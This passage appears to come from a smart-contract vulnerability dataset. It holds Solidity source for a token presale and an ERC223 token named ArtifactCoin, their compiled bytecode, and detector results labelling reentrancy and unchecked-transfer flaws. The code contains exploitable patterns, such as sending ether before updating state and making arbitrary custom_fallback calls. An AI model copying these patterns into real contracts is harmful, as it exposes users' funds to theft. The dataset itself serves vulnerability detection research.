JincorToken(_token); beneficiary = _beneficiary; startBlock = _startBlock; endBlock = _endBlock; } function() payable { require(msg.value >= 0.1 * 1 ether); doPurchase(msg.sender); } function refund() external preSaleEnded inNormalState { require(softCapReached == false); require(refunded[msg.sender] == false); uint balance = token.balanceOf(msg.sender); require(balance > 0); uint refund = balance.div(price); if (refund > this.balance) { refund = this.balance; } assert(msg.sender.send(refund)); refunded[msg.sender] = true; weiRefunded = weiRefunded.add(refund); Refunded(msg.sender, refund); } function withdraw() onlyOwner { require(softCapReached); assert(beneficiary.send(collected)); token.transfer(beneficiary, token.balanceOf(this)); crowdsaleFinished = true; } function doPurchase(address _owner) private preSaleActive inNormalState { require(!crowdsaleFinished); require(collected.add(msg.value) <= hardCap); if (!softCapReached && collected < softCap && collected.add(msg.value) >= softCap) { softCapReached = true; SoftCapReached(softCap); } uint tokens = msg.value * price; require(token.balanceOf(msg.sender).add(tokens) <= purchaseLimit); if (token.balanceOf(msg.sender) == 0) investorCount++; collected = collected.add(msg.value); token.transfer(msg.sender, tokens); tokensSold = tokensSold.add(tokens); NewContribution(_owner, tokens, msg.value); if (collected == hardCap) { GoalReached(hardCap); } } }
0x60606040523615610126576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461014a578063083c6323146101d957806318886657146102025780632b9edee91461022b57806338af3eed146102585780633ccfd60b146102ad57806348cd4cb1146102c2578063518ab2a8146102eb578063590e1ae3146103145780635da89ac0146103295780635ed7ca5b1461035257806384bcefd4146103675780638da5cb5b14610390578063906a26e0146103e5578063a035b1fe1461040e578063b9b8af0b14610437578063cb3e64fd14610464578063d7e64c0014610479578063ece84fd5146104a2578063f2fde38b146104cf578063fb86a40414610508578063fc0c546a14610531575b5b67016345785d8a0000341015151561013e57600080fd5b61014733610586565b5b005b341561015557600080fd5b61015d610a65565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019e5780820151818401525b602081019050610182565b50505050905090810190601f1680156101cb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101e457600080fd5b6101ec610b03565b6040518082815260200191505060405180910390f35b341561020d57600080fd5b610215610b09565b6040518082815260200191505060405180910390f35b341561023657600080fd5b61023e610b0f565b604051808215151515815260200191505060405180910390f35b341561026357600080fd5b61026b610b22565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102b857600080fd5b6102c0610b48565b005b34156102cd57600080fd5b6102d5610e28565b6040518082815260200191505060405180910390f35b34156102f657600080fd5b6102fe610e2e565b6040518082815260200191505060405180910390f35b341561031f57600080fd5b610327610e34565b005b341561033457600080fd5b61033c61112c565b6040518082815260200191505060405180910390f35b341561035d57600080fd5b610365611132565b005b341561037257600080fd5b61037a6111c9565b6040518082815260200191505060405180910390f35b341561039b57600080fd5b6103a36111cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f057600080fd5b6103f86111f4565b6040518082815260200191505060405180910390f35b341561041957600080fd5b6104216111fa565b6040518082815260200191505060405180910390f35b341561044257600080fd5b61044a611200565b604051808215151515815260200191505060405180910390f35b341561046f57600080fd5b610477611213565b005b341561048457600080fd5b61048c6112a8565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104b56112ae565b604051808215151515815260200191505060405180910390f35b34156104da57600080fd5b610506600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112c1565b005b341561051357600080fd5b61051b611398565b6040518082815260200191505060405180910390f35b341561053c57600080fd5b61054461139e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600c54431015801561059b5750600d5443105b15156105a657600080fd5b600060149054906101000a900460ff161515156105c257600080fd5b600e60019054906101000a900460ff161515156105de57600080fd5b6004546105f6346008546113c490919063ffffffff16565b1115151561060357600080fd5b600e60009054906101000a900460ff161580156106235750600554600854105b80156106455750600554610642346008546113c490919063ffffffff16565b10155b1561069f576001600e60006101000a81548160ff0219169083151502179055507f42ef6182c6d744dd081ab962505f40413083376dfcc13e58b60f4f32e96738096005546040518082815260200191505060405180910390a15b6006543402905060075461079b82600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561077257600080fd5b6102c65a03f1151561078357600080fd5b505050604051805190506113c490919063ffffffff16565b111515156107a857600080fd5b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561086f57600080fd5b6102c65a03f1151561088057600080fd5b5050506040518051905014156108a357600a600081548092919060010191905055505b6108b8346008546113c490919063ffffffff16565b600881905550600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561098b57600080fd5b6102c65a03f1151561099c57600080fd5b50505060405180519050506109bc816009546113c490919063ffffffff16565b6009819055508173ffffffffffffffffffffffffffffffffffffffff167f16d99cb06fd9528f88184dd0483174a09cfd8312c28639858734b0c449cc05b88234604051808381526020018281526020019250505060405180910390a26004546008541415610a5e577ffbfd8ab7c24300fa9888cd721c8565a7da56759384781283684dcf7c7c4a846b6004546040518082815260200191505060405180910390a15b5b5b5b5050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b505050505081565b600d5481565b60075481565b600e60009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ba357600080fd5b600e60009054906101000a900460ff161515610bbe57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6008549081150290604051600060405180830381858888f193505050501515610c1f57fe5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610d4557600080fd5b6102c65a03f11515610d5657600080fd5b505050604051805190506000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610ded57600080fd5b6102c65a03f11515610dfe57600080fd5b50505060405180519050506001600e60016101000a81548160ff0219169083151502179055505b5b565b600c5481565b60095481565b600080600d544310151515610e4857600080fd5b600060149054906101000a900460ff16151515610e6457600080fd5b60001515600e60009054906101000a900460ff161515141515610e8657600080fd5b60001515600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610ee557600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515610faa57600080fd5b6102c65a03f11515610fbb57600080fd5b505050604051805190509150600082111515610fd657600080fd5b610feb600654836113e390919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff1631811115611027573073ffffffffffffffffffffffffffffffffffffffff163190505b3373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561106457fe5b6001600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506110d181600b546113c490919063ffffffff16565b600b819055503373ffffffffffffffffffffffffffffffffffffffff167fd7dee2702d63ad89917b6a4da9981c90c4d24f8c2bdfd64c604ecae57d8d0651826040518082815260200191505060405180910390a25b5b5b5050565b600b5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118d57600080fd5b600060149054906101000a900460ff161515156111a957600080fd5b6001600060146101000a81548160ff0219169083151502179055505b5b5b565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60065481565b600060149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561126e57600080fd5b600060149054906101000a900460ff16151561128957600080fd5b60008060146101000a81548160ff0219169083151502179055505b5b5b565b600a5481565b600e60019054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561131c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561139357806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008082840190508381101515156113d857fe5b8091505b5092915050565b60008082848115156113f157fe5b0490508091505b5092915050565b60008082840290506000841480611420575082848281151561141d57fe5b04145b151561142857fe5b8091505b50929150505600a165627a7a7230582063ae439b6be30509c2572a116fcadc27b0e447afdcec4c7c9aad8338912ade7e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
18
0x60184dab1a359ccbb8a791785db22dd9c9514e13
pragma solidity ^0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC223 contract interface with ERC20 functions and events * Fully backward compatible with ERC20 * Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended */ contract ERC223 { function balanceOf(address who) public view returns (uint); function name() public view returns (string _name); function symbol() public view returns (string _symbol); function decimals() public view returns (uint8 _decimals); function totalSupply() public view returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed burner, uint256 value); } contract ContractReceiver { struct TKN { address sender; uint value; bytes data; bytes4 sig; } function tokenFallback(address _from, uint _value, bytes _data) public pure { TKN memory tkn; tkn.sender = _from; tkn.value = _value; tkn.data = _data; uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } } contract ForeignToken { function balanceOf(address _owner) constant public returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); } contract ArtifactCoin is ERC223 { using SafeMath for uint256; using SafeMath for uint; address public owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public blacklist; mapping (address => uint256) public unlockUnixTime; string internal name_= "ArtifactCoin"; string internal symbol_ = "AFTC"; uint8 internal decimals_= 18; uint256 public OfficalHolding = totalSupply_.mul(30).div(100); uint256 public totalRemaining = totalSupply_; uint256 public totalDistributed = 0; bool public canTransfer = true; uint256 public etherGetBase=6000000; uint256 internal totalSupply_= 2000000000e18; uint256 internal freeGiveBase = 300e17; uint256 public lowEth = 1e14; bool public distributionFinished = false; bool public endFreeGet = false; bool public endEthGet = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier canTrans() { require(canTransfer == true); _; } modifier onlyWhitelist() { require(blacklist[msg.sender] == false); _; } function ArtifactCoin (address offical) public { owner = msg.sender; distr(offical, OfficalHolding); } // Function to access name of token . function name() public view returns (string _name) { return name_; } // Function to access symbol of token . function symbol() public view returns (string _symbol) { return symbol_; } // Function to access decimals of token . function decimals() public view returns (uint8 _decimals) { return decimals_; } // Function to access total supply of tokens . function totalSupply() public view returns (uint256 _totalSupply) { return totalSupply_; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data, string _custom_fallback) canTrans public returns (bool success) { if(isContract(_to)) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data)); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } else { return transferToAddress(_to, _value, _data); } } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) canTrans public returns (bool success) { if(isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) canTrans public returns (bool success) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } //assemble the given address bytecode. If bytecode exists then the _addr is a contract. function isContract(address _addr) private view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { if (balanceOf(msg.sender) < _value) revert(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } function changeOwner(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function enableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = false; } } function disableWhitelist(address[] addresses) onlyOwner public { require(addresses.length <= 255); for (uint8 i = 0; i < addresses.length; i++) { blacklist[addresses[i]] = true; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; return true; } function startDistribution() onlyOwner public returns (bool) { distributionFinished = false; return true; } function finishFreeGet() onlyOwner canDistr public returns (bool) { endFreeGet = true; return true; } function finishEthGet() onlyOwner canDistr public returns (bool) { endEthGet = true; return true; } function startFreeGet() onlyOwner canDistr public returns (bool) { endFreeGet = false; return true; } function startEthGet() onlyOwner canDistr public returns (bool) { endEthGet = false; return true; } function startTransfer() onlyOwner public returns (bool) { canTransfer = true; return true; } function stopTransfer() onlyOwner public returns (bool) { canTransfer = false; return true; } function changeBaseValue(uint256 _freeGiveBase,uint256 _etherGetBase,uint256 _lowEth) onlyOwner public returns (bool) { freeGiveBase = _freeGiveBase; etherGetBase=_etherGetBase; lowEth=_lowEth; return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { require(totalRemaining >= 0); require(_amount<=totalRemaining); totalDistributed = totalDistributed.add(_amount); totalRemaining = totalRemaining.sub(_amount); balances[_to] = balances[_to].add(_amount); Transfer(address(0), _to, _amount); return true; } function distribution(address[] addresses, uint256 amount) onlyOwner canDistr public { require(addresses.length <= 255); require(amount <= totalRemaining); for (uint8 i = 0; i < addresses.length; i++) { require(amount <= totalRemaining); distr(addresses[i], amount); } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner canDistr public { require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { require(amounts[i] <= totalRemaining); distr(addresses[i], amounts[i]); if (totalDistributed >= totalSupply_) { distributionFinished = true; } } } function () external payable { get(); } function get() payable canDistr onlyWhitelist public { if (freeGiveBase > totalRemaining) { freeGiveBase = totalRemaining; } address investor = msg.sender; uint256 etherValue=msg.value; uint256 value; uint256 gasPrice=tx.gasprice; if(etherValue>lowEth){ require(endEthGet==false); value=etherValue.mul(etherGetBase); value=value.add(freeGiveBase.mul(gasPrice.div(1e8))); require(value <= totalRemaining); distr(investor, value); if(!owner.send(etherValue))revert(); }else{ require(endFreeGet==false && freeGiveBase <= totalRemaining && now>=unlockUnixTime[investor]); value=freeGiveBase.mul(gasPrice.div(1e8)); distr(investor, value); unlockUnixTime[investor]=now+1 days; } if (totalDistributed >= totalSupply_) { distributionFinished = true; } } function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && blacklist[_from] == false && blacklist[_to] == false); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){ ForeignToken t = ForeignToken(tokenAddress); uint256 bal = t.balanceOf(who); return bal; } function withdraw(address receiveAddress) onlyOwner public { uint256 etherBalance = this.balance; if(!receiveAddress.send(etherBalance))revert(); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); totalDistributed = totalDistributed.sub(_value); Burn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
0x606060405260043610610204576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461020e578063095ea7b31461029c57806314ffbafc146102f657806318160ddd146103235780631d3795e81461034c578063227a79111461037957806323b872dd146103a2578063313ce5671461041b57806342966c681461044a578063502dadb01461046d57806351cff8d9146104c75780636d4ce63c1461050057806370a082311461050a578063781c0db414610557578063829c3428146105845780638da5cb5b146105b1578063902025bd1461060657806395d89b411461062f5780639b1cbccc146106bd5780639c09c835146106ea5780639e340ffb14610744578063a1d2520514610771578063a6f9dae11461079a578063a8c310d5146107d3578063a9059cbb1461086d578063bc2d10f1146108c7578063be45fd62146108f4578063c108d54214610991578063c489744b146109be578063c73997b114610a2a578063cbbe974b14610a77578063d83623dd14610ac4578063d8a5436014610af1578063dd62ed3e14610b1a578063df68c1a214610b86578063e58fc54c14610bb3578063e7f9e40814610c04578063efca2eed14610c31578063f34186c814610c5a578063f3e4877c14610c87578063f6368f8a14610cea578063f9f92be414610dca575b61020c610e1b565b005b341561021957600080fd5b6102216110ed565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610261578082015181840152602081019050610246565b50505050905090810190601f16801561028e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102a757600080fd5b6102dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611195565b604051808215151515815260200191505060405180910390f35b341561030157600080fd5b610309611287565b604051808215151515815260200191505060405180910390f35b341561032e57600080fd5b610336611322565b6040518082815260200191505060405180910390f35b341561035757600080fd5b61035f61132c565b604051808215151515815260200191505060405180910390f35b341561038457600080fd5b61038c6113c7565b6040518082815260200191505060405180910390f35b34156103ad57600080fd5b610401600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506113cd565b604051808215151515815260200191505060405180910390f35b341561042657600080fd5b61042e61186d565b604051808260ff1660ff16815260200191505060405180910390f35b341561045557600080fd5b61046b6004808035906020019091905050611884565b005b341561047857600080fd5b6104c5600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611a4f565b005b34156104d257600080fd5b6104fe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611b51565b005b610508610e1b565b005b341561051557600080fd5b610541600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c0c565b6040518082815260200191505060405180910390f35b341561056257600080fd5b61056a611c55565b604051808215151515815260200191505060405180910390f35b341561058f57600080fd5b610597611cf0565b604051808215151515815260200191505060405180910390f35b34156105bc57600080fd5b6105c4611d6f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561061157600080fd5b610619611d94565b6040518082815260200191505060405180910390f35b341561063a57600080fd5b610642611d9a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610682578082015181840152602081019050610667565b50505050905090810190601f1680156106af5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106c857600080fd5b6106d0611e42565b604051808215151515815260200191505060405180910390f35b34156106f557600080fd5b610742600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611edd565b005b341561074f57600080fd5b610757611fdf565b604051808215151515815260200191505060405180910390f35b341561077c57600080fd5b610784611ff2565b6040518082815260200191505060405180910390f35b34156107a557600080fd5b6107d1600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ff8565b005b34156107de57600080fd5b61086b600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506120cd565b005b341561087857600080fd5b6108ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061221d565b604051808215151515815260200191505060405180910390f35b34156108d257600080fd5b6108da61227e565b604051808215151515815260200191505060405180910390f35b34156108ff57600080fd5b610977600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612319565b604051808215151515815260200191505060405180910390f35b341561099c57600080fd5b6109a4612372565b604051808215151515815260200191505060405180910390f35b34156109c957600080fd5b610a14600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612385565b6040518082815260200191505060405180910390f35b3415610a3557600080fd5b610a5d6004808035906020019091908035906020019091908035906020019091905050612458565b604051808215151515815260200191505060405180910390f35b3415610a8257600080fd5b610aae600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124d5565b6040518082815260200191505060405180910390f35b3415610acf57600080fd5b610ad76124ed565b604051808215151515815260200191505060405180910390f35b3415610afc57600080fd5b610b0461256c565b6040518082815260200191505060405180910390f35b3415610b2557600080fd5b610b70600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612572565b6040518082815260200191505060405180910390f35b3415610b9157600080fd5b610b996125f9565b604051808215151515815260200191505060405180910390f35b3415610bbe57600080fd5b610bea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061260c565b604051808215151515815260200191505060405180910390f35b3415610c0f57600080fd5b610c1761281f565b604051808215151515815260200191505060405180910390f35b3415610c3c57600080fd5b610c4461289e565b6040518082815260200191505060405180910390f35b3415610c6557600080fd5b610c6d6128a4565b604051808215151515815260200191505060405180910390f35b3415610c9257600080fd5b610ce86004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190919050506128b7565b005b3415610cf557600080fd5b610db0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506129d4565b604051808215151515815260200191505060405180910390f35b3415610dd557600080fd5b610e01600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612e12565b604051808215151515815260200191505060405180910390f35b600080600080601060009054906101000a900460ff16151515610e3d57600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610e9c57600080fd5b600954600e541115610eb257600954600e819055505b3393503492503a9050600f54831115610fbf5760001515601060029054906101000a900460ff161515141515610ee757600080fd5b610efc600c5484612e3290919063ffffffff16565b9150610f3b610f2c610f1b6305f5e10084612e6590919063ffffffff16565b600e54612e3290919063ffffffff16565b83612e8090919063ffffffff16565b91506009548211151515610f4e57600080fd5b610f588483612e9e565b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515610fba57600080fd5b6110be565b60001515601060019054906101000a900460ff161515148015610fe65750600954600e5411155b80156110315750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210155b151561103c57600080fd5b6110676110566305f5e10083612e6590919063ffffffff16565b600e54612e3290919063ffffffff16565b91506110738483612e9e565b50620151804201600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600d54600a541015156110e7576001601060006101000a81548160ff0219169083151502179055505b50505050565b6110f5613660565b60058054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561118b5780601f106111605761010080835404028352916020019161118b565b820191906000526020600020905b81548152906001019060200180831161116e57829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112e457600080fd5b601060009054906101000a900460ff1615151561130057600080fd5b6000601060026101000a81548160ff0219169083151502179055506001905090565b6000600d54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561138957600080fd5b601060009054906101000a900460ff161515156113a557600080fd5b6000601060016101000a81548160ff0219169083151502179055506001905090565b600c5481565b600060011515600b60009054906101000a900460ff1615151415156113f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561142e5750600082115b8015611479575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611501575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561155d575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156115b9575060001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514